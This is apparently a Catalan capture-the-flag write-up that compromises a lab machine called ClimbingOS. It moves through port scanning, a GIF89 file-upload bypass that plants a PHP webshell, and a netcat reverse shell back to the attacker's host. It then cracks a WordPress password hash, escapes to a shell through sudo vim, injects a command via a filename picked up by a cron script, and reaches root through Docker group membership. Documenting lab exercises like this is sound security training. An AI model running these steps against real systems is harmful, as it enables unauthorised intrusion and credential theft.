CTF ClimbingOS

Índex

1 Introducció

2 Fase de Recon

2.1 Escaneig de ports amb nMap

p1_nmap_01.png Resultat: p1_nmap_02.png

2.2 Cerca d'exploits amb searchsploit

2.2.1 OpenSSH

searchsploit openssh

p1_searchploitSSH.png

  1. 40136

    Després de llançar el script amb diferents paràmetres i fer varies proves, començo a sospitar que els resultats no son gaire acurats.

    Investigo una mica més en la vulnerabilitat i veig que es tracta de esbrinar si un usuari exiteix al sistema objectiu basant-se en el temps de resposta del sistema en el intent de login. Per tant, tot i que interessant, és lògic que pugui donar forçes falsos positius i negatius.

    p1_enumSSH_01.png

    python 40136.py -U ~/ClimbingOS_enumSSH.txt  192.168.1.46
    

    Així doncs decideixo aprofitar que al Webminar hem vist ja el procés d'exploit per crear un diccionari on hi aparegui l'usuari jennifer que sé que si existeix al sistema objectiu i veure els resultats. p1_enumSSH_02-png

  2. 45939

    Continuo les proves amb un altre script d'enumeració suseptible de poder funcionar sobre la versió d'OpenSSH existent. Tanmateix els resultats tornen a ser incorrectes. p1_enumSSH_03.png

2.2.2 Apache

searchsploit apache 2.4

p1_searchsploitAPACHE.png

Com es pot apreciar, no existeix en aquesta BBDD cap script adient per la versió d'Apache existent.

Tanmateix, existeixen molts scripts per complement o programari complementari a Apache (PHP, etc) i per tant caldrà tornar a cercar un cop descobertes aquestes tecnologies.

2.2.3 WordPress

searchsploit wordpress core

p1_searchploitWORDPRESS.png

De nou, Wordpress com a tal no està en una versió amb bugs coneguts, però la BBDD disposa de molts scripts per addons i mods de WordPress. Caldrà tenir-ho present.

2.3 Exploració de la web

Una primera visita a 192.168.1.46:8000 ens dona com a resultat això:


p1_web_01.png


El que podem observar a priemra vista és:

  1. Evidentment passa quelcom amb les referències HTML cap al CSS, imatges, etc.
  2. Podem veure que un dels usuaris de WordPress s'anomena jennifer ja que signat un post.
  3. La data del mateix post és de Febrer del 2019.
  4. Aquest post té un comentari, que per desgràcia no podem visualitzar (dona error)

Wappalizer també ens confirma que es tracta d'un WordPress 5.0.3 amb PHP i MySQL. p1_web_02.png

2.3.1 Fuzzing de directoris i arxius amb goBuster

gobuster dir -u http://192.168.1.46:8000 -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.sh,.js,.html -o ~/ClimbingOS_goBuster.log

p1_goBuster_01.png

Els resultats més interessant, amb codi 200, són: p1_goBuster_02.png

Per visualitzar més ràpidament els continguts d'aquestes webs utilitzo una modificació de la comanda llançada amb gobuster:

gobuster dir -u http://192.168.1.46:8000 -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.sh,.js,.html -n -e -s 200 -o ~/ClimbingOS-Aquatone.log

Obtenint un llistat d'adreçes complertes per poder passar a aquatone.

cat ~/ClimbingOS-Aquatone.log | aquatone

aquatone ens genera un report en format HTML amb screenshots de totes les webs que l'hi hem subministrat, les tencologies que utilitzen i la possibilitat de visitar-les amb un clic. p1_web_aquatone.png

  1. robots.txt

    El contingut de robots.txt és:

    User-agent:*
    Disallow:/gallery.php
    Disallow:/gallery
    
  2. gallery.js

    El contingut del javascript és:

    var gallery = {
      show : function(img){
      // show() : show selected image in light box
    
        var clone = img.cloneNode(),
            front = document.getElementById("lfront"),
            back = document.getElementById("lback");
    
        front.innerHTML = "";
        front.appendChild(clone);
        back.classList.add("show");
      },
    
      hide : function(){
      // hide() : hide the lightbox
    
        document.getElementById("lback").classList.remove("show");
      }
    };
    
  3. gallery.php

    Sembla ser que aquesta pàgina permet pujar imatges al servidor, i aparentment és l'única via d'accés que queda.

3 Fase Explotació

3.1 Gallery.php

3.1.1 Modificar el Content-Type

Intentem capturar la petició de pujada de d'una webshell i modificar el content-type per a que coincideixi amb image/png però no cola. p1_fileUpload_01.png

3.1.2 Magic Numbers

Modificant una webshell i afegint GIF89 al inici, modifiquem els magic numbers fent passar l'arxiu PHP com a imatge GIF. p1_fileUpload_02.png

Cal remarcar que he intentat també utilitzar altres formats (PNG, BMP, JPG) i programes (hexeditor) i tan sols ha funcionat amb GIF89. p1_fileUpload_03.png

Finalment obtenim una WebShell. p1_fileUpload_04.png

3.2 simple-backdoor.php

Per obtenir una primera shell interactiva utilitzo nc:

  • A la banda del atacant (Kali Linux): nc -lnvp 6969
  • I a simple-backdoor.php: nc 192.168.1.41 6969 -e /bin/bash

p1_simpleBackdoor_01.png

3.2.1 Millorant la shell

Una primera millora sobre la shell que hem obtingut amb simple-backdoor.php és utilitzar python com intermedirari entre nosaltres i una nova shell de bash. python -c 'import pty; pty.spawn("/bin/bash")' p1_simpleBackdoor_02.png

En aquest prompt ens crida l'atenció el nom de la màquina, que és del estil típic de Docker, per tant possiblement estiguem dins d'un contenidor.

Seguidament, continuem millorant la shell amb aquest seguit de passes:

  1. C z -> Per passar la shell oberta amb nc en segon pla.
  2. stty raw -echo -> Per configurar la shell.
  3. fg -> Per recuperar el nc amb la shell a ClimbOS.
  4. reset i configurem el terminal com xterm.

p1_simpleBackdoor_03.png

  1. Seguidament configurem les variables d'entorn TERM i SHELL i establim el tamany del terminarl en files i columnes.

p1_simpleBackdoor_04.png

3.3 Remenant el Wordpress

Com tenim accés com usuari www-data podem veure tots els continguts de la web, entre ells l'arxiu wp-config.php que conté les dades de connexió a la BBDD. p1_wp_01.png

3.4 MySQL

Amb les dades de connexió anteriors ens connectem a la BBDD MySQL amb mysql -uwordpress -pwordpress -hdb p1_mysql_01.png

I intentem aconseguir els ususaris de Wordpress fent la consulta select * form wp-users; dins de la base de dades de wordpress. p1_mysql_02.png

Trobem el hash de l'usuari jennifer, que és $P$BGz.3jt0WKiwtKYwdXz9cMwd6SreNg0. Amb hash-identifier esbrinem que efectivament és un hash MD5 de wordpress. p1_mysql_03.png

Intentem utilitzar hashcat per trobar la contrasenya que genera aquest hash amb la comanda hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt --force i obtenim que la contrasenya és 123456. p1_mysql_04.png

I intentem utilitzar aquestes credencials per a connectar directament per SSH amb el equip ClimbingOS, obtenint accés al sistema. p1_mysql_05.png

3.5 Usuari Jennifer

3.5.1 /etc/password

Mirant els usuaris del sistema veiem que hi han tres usuaris de sistema:

  • jennifer
  • mantis
  • developer

3.5.2 Linpeas

Descarrego Linpeas amb wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/linpeas.sh, canviem permissos i llançem.

El resultat més significatiu és que jennifer pot inpersonar a mantis amb la comanda vi. p1_linpeas_01.png

3.5.3 Impersonar mantis des de vim

Ho verifiquem amb sudo -l: p1_linpeas_02.png

I executem vim com mantis amb sudo -u mantis vim i des de dins utilitzem la comanda :! whoami per executar des de vim aquesta comanda i verificar que impersonem mantis. p1_linpeas_03.png

Per aconseguir una shell com a mantis entrem a l'impersonem a vim amb sudo -u mantis vim i tot seguit executem una shell de bash des de vim amb :! /bin/bash.

p1_mantis_01.png

3.6 Usuari Mantis

Com que teniem localitzat prèviament el arxiu /home/developer/tmpcleaner.py que pertany a l'usuari i grup developer i el propi mantis pertany a developer ara ja el podem mirar. p1_mantis_02.png

Podem veure que està programat cada minut aquest script. Aquest script permet fer un bypass de la comanda que executa rm {} tot creant un arxiu a tmp que contingui com a nom la cria a la comanda nc. p1_mantis:03.png

D'aquesta manera aconseguim escalar privilegis i passar a ser developer.

3.7 Usuari Developer

Un cop establer-ta la connexió tunejem la shell, com hem fet abans. p1_developer_01.png

Fent un id veiem que developer pertany al grup d'usuaris de Docker. p1_developer_02.png

Consultant GTFOBINS podem veure que mitjançant Docker és possible obtenir una shell amb root del sistema. p1_developer_03.png

Així que creem un nou contenidor d'Ubuntu mapejant l'arrel del sistema host contra una carpeta dins del contenidor docker container run -it -v /:/tmp/sistema ubuntu. p1_developer_04.png

Seguidament canviem l'arrel del sistema amb chroot /tmp/sistema i ja estem en el sistema host amb usuari root. p1_developer_05.png

3.8 Usuari root

Un cop com usuari root ja tan sols queda accedir al directori /root i mirar la falg per obtenir el premi. p1_root_01.png

Data: 2020-05-28 dj. 00:00

Autor: Raul Gimenez Herrada

Created: 2020-06-10 dc. 23:02

Validate